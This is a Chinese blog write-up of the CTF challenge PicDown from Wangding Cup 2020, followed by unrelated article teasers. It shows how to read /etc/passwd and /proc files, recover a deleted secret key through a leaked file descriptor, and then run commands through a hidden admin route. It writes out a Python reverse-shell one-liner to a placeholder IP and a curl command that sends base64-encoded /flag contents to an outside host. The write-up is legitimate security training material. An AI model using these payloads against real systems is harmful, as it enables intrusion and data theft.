当前位置：首页 > news >正文

[网鼎杯 2020 白虎组]PicDown1 [反弹shell] [敏感文件路径] [文件描述符]

news 来源：原创 2025/7/28 4:21:21

常见读取路径

/etc/passwd=====一些用户和权限还有一些乱七八糟的

/proc/self/cmdline=====包含用于开始当前进程的命令

/proc/self/cwd/app.py======当前工作目录的app.py

/proc/self/environ=====包含了可用进程的环境变量

/proc/pid/exe =====包含了正在进程中运行的程序链接；
/proc/pid/fd/ =====这个目录包含了进程打开的每一个文件的链接；
/proc/pid/mem =====包含了进程在内存中的内容；
/proc/pid/stat =====包含了进程的状态信息；
/proc/pid/statm =====包含了进程的内存使用信息。

非预期解：url=/flag 出flag

网站功能：

<html>
<meta http-equiv="refresh" content="0;url=http://www.baidu.com/">
</html>网站功能：刷新界面并跳转到百度

读取passwd

读取环境变量

/proc/self/environself位置为PID：代表进程 ID（Process ID），是系统为每个正在运行的进程分配的唯一标识符若一个进程的 ID 是 1234，那么该进程的相关信息就存储在 /proc/1234 目录下

环境变量里面的 PWD=/app 这里告诉我们这是在/app目录下进行的

该环境变量表示 当前工作目录（Present Working Directory），即进程所在的文件系统路径。

/app 是当前进程的根目录或应用程序的主目录（常见于容器化环境，如 Docker）。

当用户在终端中执行命令时，默认操作路径即 PWD 的值。

读取启动当前进程的完整命令

/proc/self/cmdline

读取app.py文件：

/proc/self/cwd/app.pycwd 代表 “Current Working Directory”（当前工作目录）

from flask import Flask, Response
from flask import render_template
from flask import request
import os
import urllibapp = Flask(__name__)SECRET_FILE = "/tmp/secret.txt"
f = open(SECRET_FILE)
SECRET_KEY = f.read().strip()
os.remove(SECRET_FILE)@app.route('/')
def index():return render_template('search.html')@app.route('/page')
def page():url = request.args.get("url")try:if not url.lower().startswith("file"):res = urllib.urlopen(url)value = res.read()response = Response(value, mimetype='application/octet-stream')response.headers['Content-Disposition'] = 'attachment; filename=beautiful.jpg'return responseelse:value = "HACK ERROR!"except:value = "SOMETHING WRONG!"return render_template('search.html', res=value)@app.route('/no_one_know_the_manager')
def manager():key = request.args.get("key")print(SECRET_KEY)if key == SECRET_KEY:shell = request.args.get("shell")os.system(shell)res = "ok"else:res = "Wrong Key!"return resif __name__ == '__main__':app.run(host='0.0.0.0', port=8080)

补充一点urllib的知识

python2中urllib的urlopen可以直接通过文件路径读取文件

漏洞所在处

SECRET_FILE = "/tmp/secret.txt"
f = open(SECRET_FILE)
SECRET_KEY = f.read().strip()
os.remove(SECRET_FILE)文件描述符未关闭：代码打开文件后未显式关闭，导致文件描述符在os.remove()时可能仍处于打开状态。已删除文件的可读性：在Unix系统中，若文件被删除但有进程仍持有其文件描述符，可通过/proc访问该描述符读取内容。正常情况下应该是用f.close()
或者用with语句自动实现文件描述符的关闭
如：with open(SECRET_FILE) as f:SECRET_KEY = f.read().strip()
os.remove(SECRET_FILE)  # 确保在文件关闭后删除

关于文件描述符

文件描述符是什么：

文件描述符（File Descriptor）是操作系统分配给已打开文件的“临时编号”（类似你去银行办事时拿到的排队号码）。程序通过这个编号操作文件（读/写）。

文件描述符未关闭会发生什么：

当一个程序（如 Python 脚本）打开了一个文件（如 open("/tmp/secret.txt")），但未显式调用 f.close() 或未使用 with 语句自动关闭文件时，操作系统会认为该文件仍被占用（仍然在使用中）。此时，即使代码中调用了 os.remove(SECRET_FILE) 删除了文件，实际文件内容仍可能通过未关闭的文件描述符被读取到（其内容仍会残留在磁盘上）。

我们可以通过访问/proc/self/fd/<文件描述符>来访问某个特定的文件

怎么获取这次的文件描述符：

。。。枚举

获取key

/proc/self/fd/3fd为文件描述符（file descriptors）

输入key并执行命令，但是没有回显，此时考虑到反弹shell

第一种解法：python反弹shell

注意：这里的key和shell需要经过url编码！因为key中会存在+/=等符号，需要编码后才行

编码前

/no_one_know_the_manager?key=5MMmHXw5q5FzvNFORsDKnImPBRHbcZ9MlLNHIviypt0=&shell=python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("xxxxxxxxx",8888));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

编码后

/no_one_know_the_manager?key=5MMmHXw5q5FzvNFORsDKnImPBRHbcZ9MlLNHIviypt0%3D
&shell=python%20%2Dc%20%27import%20socket%2Csubprocess%2Cos%3Bs%3Dsocket%2Esocket%28socket%2EAF%5FINET%2Csocket%2ESOCK%5FSTREAM%29%3Bs%2Econnect%28%28%22xx%2Exxx%2Exxx%2Exx%22%2C8888%29%29%3Bos%2Edup2%28s%2Efileno%28%29%2C0%29%3B%20os%2Edup2%28s%2Efileno%28%29%2C1%29%3B%20os%2Edup2%28s%2Efileno%28%29%2C2%29%3Bp%3Dsubprocess%2Ecall%28%5B%22%2Fbin%2Fsh%22%2C%22%2Di%22%5D%29%3B%27

腾讯云服务器的一些问题

第一次整服务器遇到一些困扰我的问题，浅写一下这次是怎么解决的：

问题一：端口是4567或者3333在bp中发送请求的时候一直不行，半天没回应

换成8888，我也不知道为啥我这只有8888能成功。。。明明其他端口的防火墙都放开了。。

问题二：如图，是困扰我最久的一个

8888端口已经被占用了，一查还是宝塔面板占用的，你要是把它kill掉吧，你的宝塔面板一转头又有新的进程了，怎么杀都杀不死

杀不死咱就绕过嘛嘿嘿，宝塔面板默认端口是8888，把它改成其他的

然后8888就能正常监听啦

问题三：怎么结束监听

无意间摁了个 control+C 然后自己结束了。。?

踏马的，终于反弹出来了，终于看到这个Connection received了。遥想当年青龙组那道note题反弹了一个星期都没反弹个p出来，激动的要掉小珍珠了

第二种解法：curl反弹shell

注意还是要编码还要base64编码输出，不编码就输出不出来（为啥）

/no_one_know_the_manager?key=5MMmHXw5q5FzvNFORsDKnImPBRHbcZ9MlLNHIviypt0%3D&shell=curl%20xxxx:8888/`cat%20/flag|base64`命令自己改

本题总结：

[网鼎杯 2020 白虎组]PicDown1 [反弹shell] [敏感文件路径] [文件描述符]

常见读取路径 /etc/passwd一些用户和权限还有一些乱七八糟的 /proc/self/cmdline包含用于开始当前进程的命令 /proc/self/cwd/app.py当前工作目录的app.py /proc/self/environ包含了可用进程的环境变量 /proc/pid/exe 包含了正在进程中运行的程序链接； /proc/pid…...

编程日记 2025/7/28 4:21:21

基于Spring Boot的乡村养老服务管理系统的设计与实现（LW+源码+讲解）

专注于大学生项目实战开发,讲解,毕业答疑辅导，欢迎高校老师/同行前辈交流合作✌。技术范围：SpringBoot、Vue、SSM、HLMT、小程序、Jsp、PHP、Nodejs、Python、爬虫、数据可视化、安卓app、大数据、物联网、机器学习等设计与开发。主要内容：…...

编程日记 2025/7/28 7:23:59

ElasticSearch 可观测性最佳实践

ElasticSearch 概述 ElasticSearch 是一个开源的高扩展的分布式全文检索引擎，它可以近乎实时的存储、检索数据；本身扩展性很好，可以扩展到上百台服务器，处理 PB 级别（大数据时代）的数据。ES 也使用 Java 开…...

编程日记 2025/7/28 7:25:33

Java----正则表达式的学习

正则表达式可以检验字符串是否满足一定规则，并用来校验数据格式的合法性。在一段文本当中查找满足需求的内容： import java.math.BigDecimal; import java.math.BigInteger; import java.util.Random;import static java.lang.Math.abs; import static…...

编程日记 2025/7/28 4:11:29

为何AI系统比以往任何时候都更需要红队测试

AI 系统已深度融入现代生活，但并非无懈可击。红队测试作为一项关键技术，正通过系统性地挖掘 AI 漏洞，显著提升其安全性与可靠性。随着人工智能技术的快速迭代，这种全面测试的需求愈发迫切，不仅能防范潜在危害&#xff…...

编程日记 2025/7/27 10:28:21

ElementPlus 快速入门

目录前言为什么要学习 ElementPlus？ 正文步骤 1 创建一个工程化的vue 项目 2 安装 element-Plus :Form 表单 | Element Plus 1 点击当前界面的指南 2 点击左边菜单栏上的安装，选择包管理器 3 运行该命令 demo(案例1 ） 步骤 …...

编程日记 2025/7/25 13:42:45

vue3 ts 请求封装后端接口

一首页-广告区域-小程序首页-广告区域-小程序 GET/home/banner1.1 请求封装首页-广告区域 home.ts export const getHomeBannerApi (distributionSite 1) > {return http<BannerItem[]>({method: GET,url: /home/banner,data: {distributionSite,},}) }函数定…...

编程日记 2025/7/28 7:28:39

[ACTF2020 新生赛]BackupFile-3.23BUUCTF练习day5(1)

[ACTF2020 新生赛]BackupFile-3.23BUUCTF练习day5(1) 解题过程打开题目环境看题目意思应该是让我找备份文件备份文件一般的后缀名为 .rar .zip .7z .tar.gz .bak .swp .txt .html .bak 直接扫描一下在url中输入/index.php.bak 弱类型比较为弱相等，即当…...

编程日记 2025/7/25 10:33:28

信创-人大金仓数据库创建

一. 官文资源下载地址 https://download.kingbase.com.cn/xzzx/index.htm 下载安装文件下载授权文件产品文档地址：https://help.kingbase.com.cn/v8/index.html 二. 概念 2.1 体系结构 ‌ 实例结构 ‌：由数据库文件和 KingbaseES 实例组成。数据…...

编程日记 2025/7/26 1:49:04

【QT】QTCreator测试程序

使用QTCreator实现窗体，其中拟合程度图左侧是测点列表，右侧是改测点的拟合程度图（不使用UI，使用代码编写实现） 实现思路创建主窗口：继承 QMainWindow 类来创建主窗口。布局管理：使用 QSplitt…...

编程日记 2025/7/28 6:56:21

Python入门基础

python基础类型转换 str()与int()类型转换 name 张三 age 20 print(type(name),type(age))print(我叫name 今年， str(age)岁 )a10 b198.8 cFalse print(type(a),type(b),type(c)) print(str(a),str(b),str(c))s1 128 f198.7 s276.77 ffTrue s3hello print(type(s…...

编程日记 2025/7/28 7:35:44

Debug-037-table列表勾选回显方案

效果展示： 图1 图2 最近实现一个支持勾选的el-table可以回显之前勾选项的功能。实现了一个“编辑”的功能： 在图1中的列表中有三行数据，当点击“更换设备”按钮时，打开抽屉显示el-table组件如图2所示，可以直接回显勾选…...

编程日记 2025/7/19 23:32:19

Zotero·Awesome GPT配置

使用API配置（稳定，氪金） 配置1-1 （方式1）在DeepSeek 开放平台获得API Key，输入Awesome GPT的api key中；base api选项选择deepseek；Temperature设置1，Related Number设置…...

编程日记 2025/7/28 7:36:32

在 Simulink 里构建输水隧洞充水过程模型的基本步骤与思路

下面为你介绍在 Simulink 里构建输水隧洞充水过程模型的基本步骤与思路，不过由于没办法直接生成 Simulink 模型文件，这里会给出一个模拟该过程的 Matlab 脚本代码示例。建模思路输水隧洞充水过程一般能够用一阶常微分方程来描述，其方程如…...

编程日记 2025/7/28 7:27:49

网络基础梳理

为什么要有网络呢？ 在一开始科学家们都是自己在计算机当中做实验但是难免需要共同进行科研。假设现在一个业务需要三个人共同完成，那么现在就有问题了： 由于第一个人完成工作前，其他两人无法开始，这导致工作流程是串行…...

编程日记 2025/7/28 7:22:12

Android开发检查是否是各大厂商手机的工具类

Android开发检查是否是各大厂商手机的工具类有时需要知道该手机是vivo,oppo,xiaomi,huawei等手机时，需要用到 public class RomUtils {private static final String TAG "Rom";public static final String ROM_MIUI "MIUI";public static …...

编程日记 2025/7/23 18:20:03

系统与网络安全------网络应用基础（2）

资料整理于网络资料、书本资料、AI，仅供个人学习参考。交换机认识交换机交换机，Switch 用户将多台计算机/交换机连接在一起，组建网络交换机负责为其中任意两台计算机提供独享线路进行通信非网管型交换机即插即用交换机即插即用&…...

编程日记 2025/7/28 7:23:58

vue项目配置服务器代理，解决请求跨域问题

在 Vue 项目中配置代理服务器，以下是常见的两种方式： 1、基于vue-cil（webpack）框架项目 vue.config.js module.exports {devServer: {proxy: {/api: {target: http://xxxxxx.com, // 服务器地址changeOrigin: true,pathRewrit…...

编程日记 2025/7/22 15:54:41

【硬核实战】ETCD+AI智能调度深度整合！从架构设计到调优避坑，手把手教你打造高可用调度系统！

一、核心架构设计：ETCD如何赋能AI调度？ 🔥 架构图： [AI调度引擎] ← 实时数据 → [ETCD集群] ↓ 决策指令 [执行层（车辆/物流/交通设备）] 核心角色： ETCD：存储调度策略、节点状…...

编程日记 2025/7/28 7:38:08

《软件安装与使用教程》— NVIDIA CUDA在Windows的安装教程

《软件安装与使用教程》— NVIDIA CUDA在Windows的安装教程 Installed: - Nsight Monitor Not Installed: - Nsight for Visual Studio 2019 Reason: VS2019 was not found - Nsight for Visual Studio 2017 Reason: VS2017 was not found - Integrated Graphics Frame Debugge…...

编程日记 2025/7/23 5:28:21

Spring的bean生命周期

Spring框架中的bean生命周期指的是在容器中一个bean从创建到销毁的整个过程。以下是Spring中bean的生命周期的主要阶段： 实例化Bean：容器根据bean的定义创建bean的实例。设值注入：容器通过setter方法或字段直接注入bean的属性。调用Bean的…...

编程日记 2025/7/28 7:38:09

java执行jar包提示没有主清单属性

以前都没遇到过这种情况，什么时候打jar， war包都没有遇到过， 按照网上说的创建了META-INF/MANIFEST.MF 还是报错于是检查下maven 打包发现：竟然有skip 为true 去掉 skip true ，进行打包，编译后正常...

编程日记 2025/6/28 5:09:02

基于 FPGA的HLS技术与应用

1、hls简介 HLS （ high level synthesis ）即高层次综合，主要是利用高级编程语言实现算法。 2、循环优化约束语法： #pragma HLS unroll #pragma HLS PIPELINE II1 绝大多数循环都以串行的方式执行，这种执行方…...

编程日记 2025/7/28 7:22:13

[笔记] SpringBoot3 使用 EasyExcel 封装工具类实现复杂 Excel 数据处理：使用Java构建高效的数据导入解决方案

文章目录一. 特殊 Excel 表格例子二. 使用示例1. bo 示例(部分字段)2. 自定义监听器3. 使用方法三. 实现1. 工具类2. 默认基础导入(特殊 Excel 建立在这个基础上)2.1 Excel 导入监听2.2 默认监听2.3 Excel 返回对象2.3 默认excel返回对象实现 3. 特殊 Excel3.1 单元格位置类3…...

编程日记 2025/7/28 7:37:20

【数据库】sql错题详解

1. 执行子查询 SELECT 供应商号 FROM 订购单 WHERE 职工号 IN (E1, E3) GROUP BY 供应商号 HAVING COUNT(DISTINCT 职工号) 2筛选职工号为 E1 或 E3 的记录： 依据 WHERE 职工号 IN (E1, E3) 这个条件，从订购单表中把职工号为 E1 或者 E3 的记录筛选出…...

编程日记 2025/7/23 6:33:50

Three.js贴图技巧：优化性能与效果

引言在当今数字化的时代，WebGL 技术为开发者们打开了一扇通往交互式 3D 图形世界的大门，而 Three.js 作为JavaScript库中的佼佼者，凭借其简单易用的 API 和丰富的功能，在创建3D场景和交互应用方面得到了广泛应用。在Three.js构建…...

编程日记 2025/7/28 7:33:23

Java Collection API增强功能系列之一 Arrays.asList()

在Java编程中，Arrays.asList() 是一个高频使用却又容易引发陷阱的工具方法。它能够快速将数组转换为列表，但其特殊行为常常让开发者踩坑。本文将深入剖析该方法的本质特性，并揭示其使用时的注意事项。一、方法定义与基础用法 1. 方法签名 p…...

编程日记 2025/7/28 7:24:46

websocket中spring注入失效

一个null指针引发的思考 websocket中spring注入失效一个null指针引发的思考场景代码SpringBoot入口类配置类websocket类问题排查问题1：问题2： 反思解决方案一：方案二：方案三：方案四： 场景首页有个webso…...

编程日记 2025/7/27 9:57:59

Nat Commun：网络结构在塑造神经表征的强度中扮演着‘幕后推手’的角色

摘要人类通过一系列离散事件构建他们对世界的心智模型。这一过程被称为图学习，它产生了一个编码事件间转移概率图的模型。近期的研究表明，一些网络比其他网络更容易学习，但这种效应的神经基础仍然未知。在这里，本研究使用功能磁共…...

编程日记 2025/7/24 10:42:34

Driver具体负责什么工作

在 Apache Spark 中，Driver（驱动程序） 是 Spark 应用的核心控制节点，负责协调整个应用的执行流程。它是用户编写的 Spark 应用程序（如 main() 方法）的入口点，直接决定了任务的调度、资源分配和结…...

编程日记 2025/7/15 18:03:52

LeetCode 热题 100----2.移动零

LeetCode 热题 100----2.移动零题目描述给定一个数组 nums，编写一个函数将所有 0 移动到数组的末尾，同时保持非零元素的相对顺序。请注意 ，必须在不复制数组的情况下原地对数组进行操作。示例 1:输入: nums [0,1,0,3,12] 输出: [1,3,12,…...

编程日记 2025/7/28 7:34:11

能源革命新突破：虚拟电厂赋能微电网智能调控，构建低碳生态新格局

在“双碳”目标的引领下，中央一号文件明确提出了“推进农村能源革命，深化绿色低碳技术应用”。作为能耗集中区域，产业园区如何实现清洁能源高效消纳与碳减排的目标成为了难题，中电国为推出的虚拟电厂与风光储充柴多能互补的微电网…...

编程日记 2025/7/28 7:25:33

Java集合框架深度剖析：从数据结构到实战应用

引言 Java集合框架是Java开发中的核心组件之一，其设计目标是提供高性能、高复用性的数据容器。无论是数据处理、缓存设计还是高并发场景，集合框架都扮演着关键角色。本文将从List、Map、Set三大核心接口出发，深入剖析其主流实现类&#xff0…...

编程日记 2025/7/28 7:26:22

基于灵动微单片机SPIN系列的两轮车解决方案

电动车需配备与电机兼容性更高的双模控制器。灵动针对两轮车提供了相应的方案和解决算法。在两轮车的霍尔传感器出现故障时，系统应能继续有效地驱动电机。除了常规的过流、过压、过温保护措施外，灵动的方案还支持防盗功能，具备电刹车能力&…...

编程日记 2025/7/25 13:58:25

ngx_http_core_server_name

定义在 src\http\ngx_http_core_module.c static char * ngx_http_core_server_name(ngx_conf_t *cf, ngx_command_t *cmd, void *conf) {ngx_http_core_srv_conf_t *cscf conf;u_char ch;ngx_str_t *value;ngx_uint_t i;ngx_…...

编程日记 2025/7/28 7:34:10

【Docker系列一】Docker 简介

💝💝💝欢迎来到我的博客，很高兴能够在这里和您见面！希望您在这里可以感受到一份轻松愉快的氛围，不仅可以获得有趣的内容和知识，也可以畅所欲言、分享您的想法和见解。推荐:kwan 的首页,持续学…...

编程日记 2025/7/28 7:27:51

[C++面试] 你了解transform吗？

层级核心知识点入门基本语法、与for_each对比、单/双范围操作进阶动态扩展、原地转换、类型兼容性、异常安全高阶性能优化、C20 Ranges、transform_if模拟一、入门 1、描述std::transform的基本功能，并写出两种版本的函数原型 std::transform函数是 C 标准库<…...

编程日记 2025/7/28 7:35:43

MSE分类时梯度消失的问题详解和交叉熵损失的梯度推导

下面是MSE不适合分类任务的解释，包含梯度推导。以及交叉熵的梯度推导。前文请移步笔者的另一篇博客：大模型训练为什么选择交叉熵损失（Cross-Entropy Loss）：均方误差（MSE）和交叉熵损失的深入对比…...

编程日记 2025/7/22 15:10:52

docker 安装部署 canal

1 mysql 安装 1.1 拉取镜像 docker pull mysql:8.4.41.2 创建挂载目录 mkdir -p /user/lzl/tool/docker/mysql/mysql_8.4.4/home/confmkdir -p /user/lzl/tool/docker/mysql/mysql_8.4.4/home/datamkdir -p /user/lzl/tool/docker/mysql/mysql_8.4.4/home/log1.3 编辑配置文…...

编程日记 2025/7/25 21:27:27

flowable适配达梦7 (2.1)

经过第一版的问题解决，后端项目可以启动，前端页面也集成进去。前端在流程设计页面报错之后发现主要是组件中modelerStore这个值没有解决方法:在data增加对象给component/process/designer.vue 中涉及到的每个子组件传入 :modelerStore“modeler…...

编程日记 2025/7/23 1:25:37

优化 Docker 镜像技巧

优化 Docker 镜像可以提高构建速度、减少镜像大小、提高安全性和效率。以下是一些优化 Docker 镜像的方法： 使用适当的基础镜像选择合适的基础镜像可以减小镜像大小，并确保基础镜像的安全性和更新性。Alpine、Ubuntu Minimal 等轻量级基础镜像是常用选…...

编程日记 2025/7/22 11:14:55

Spring Boot框架中常用注解

以下是Spring Boot框架中常用注解的详细说明，包括名称、用途、用法、使用位置及扩展示例，按功能模块分类整理： 一、核心启动与配置注解 1. SpringBootApplication 用途：主启动类注解，整合了 Configuration、EnableAu…...

编程日记 2025/7/22 11:53:16

Linux笔记之Ubuntu22.04安装IBus中文输入法教程

Linux笔记之Ubuntu22.04安装IBus中文输入法教程 code review！ 文章目录 Linux笔记之Ubuntu22.04安装IBus中文输入法教程安装 IBus 并配置中文输入法步骤 1: 安装 IBus 和拼音插件步骤 2: 设置 IBus 为默认输入法框架步骤 3: 重启会话步骤 4: 添加中文输入法步骤 5: …...

编程日记 2025/7/25 5:09:27

（UI自动化测试web端）第二篇：元素定位的方法_xpath属性定位

看代码里的【driver.find_element_by_xpath( )】()里的路径怎么写？ xpath元素定位有多种写法，那我们现在说的就是在元素定位时，根据网页的实际情况来选择适合的xpath元素定位的写法。文章主要介绍了xpath属性定位的方法和属性扩展使用的方法…...

编程日记 2025/7/22 14:26:47

Linux中执行 ifconfig 命令时提示 “未找到命令”

在 Linux 系统里，若执行 ifconfig 命令时提示 “未找到命令” 通常是由于系统没有安装 net-tools 包，或者该命令不在系统的 PATH 环境变量所包含的路径中安装 net-tools 包 # Ubuntu/Debian sudo apt update sudo apt install net-tools# CentOS 7 及以…...

编程日记 2025/7/26 9:52:48

UE4学习笔记 FPS游戏制作15修正可以换枪中可以继续换枪和开火的Bug

现在存在的问题是换枪动作没完成时，可以继续换枪或者开枪因为换枪这个动作是由玩家进行的，所以应该修改FppShooter脚本我们添加两个参数最后一次换枪的时间和换枪动画的长度 EquipmentLength 设置默认值0.6秒添加一个新函数IsInEquip，返…...

编程日记 2025/7/23 10:45:33

SSL/TLS 和 SSH 介绍以及他们的区别

目录 SSL/TLS SSL/TLS工作原理的核心步骤握手阶段（Handshake Protocol）加密通信阶段（Encrypted Communication Phase）会话恢复（Session Resumption） SSH SSH 加密机制的核心步骤 SSH 和 SSL 区别 SSL/TLS …...

编程日记 2025/7/25 21:41:03

AudioTrack

AudioTrack是Android Audio系统提供给应用开发者（java/C）的API，用于操作音频播放的数据通路。MeidaPlayer在播放音乐时用到的是它，我们可以也可以直接使用AudioTrack进行音频播放。它是最基本的音频数据输出类。 AudioTrack.java…...

编程日记 2025/7/22 5:48:19

Windows安装Rust环境（详细教程）

一、安装mingw64(C语言环境) Rust默认使用的C语言依赖Visual Studio，但该工具占用空间大安装也较为麻烦，可以选用轻便的mingw64包。 1.1 安装地址 (1) 下载地址1-GitHub：Releases niXman/mingw-builds-binaries GitHub (2) 下载地址2-W…...

编程日记 2025/7/23 9:42:05

监控IP，网站将异常情况通过飞书机器人发至指定群内

界面如下，丑是丑了点，但主打一个实用。主要就是通过ping，就是一直在ping，当不通的时候，就根据你设置的报警时间，主要是利用飞书机器人来给飞书指定群里发异常信息报警。直接上代码 import subprocess i…...

编程日记 2025/7/23 7:52:35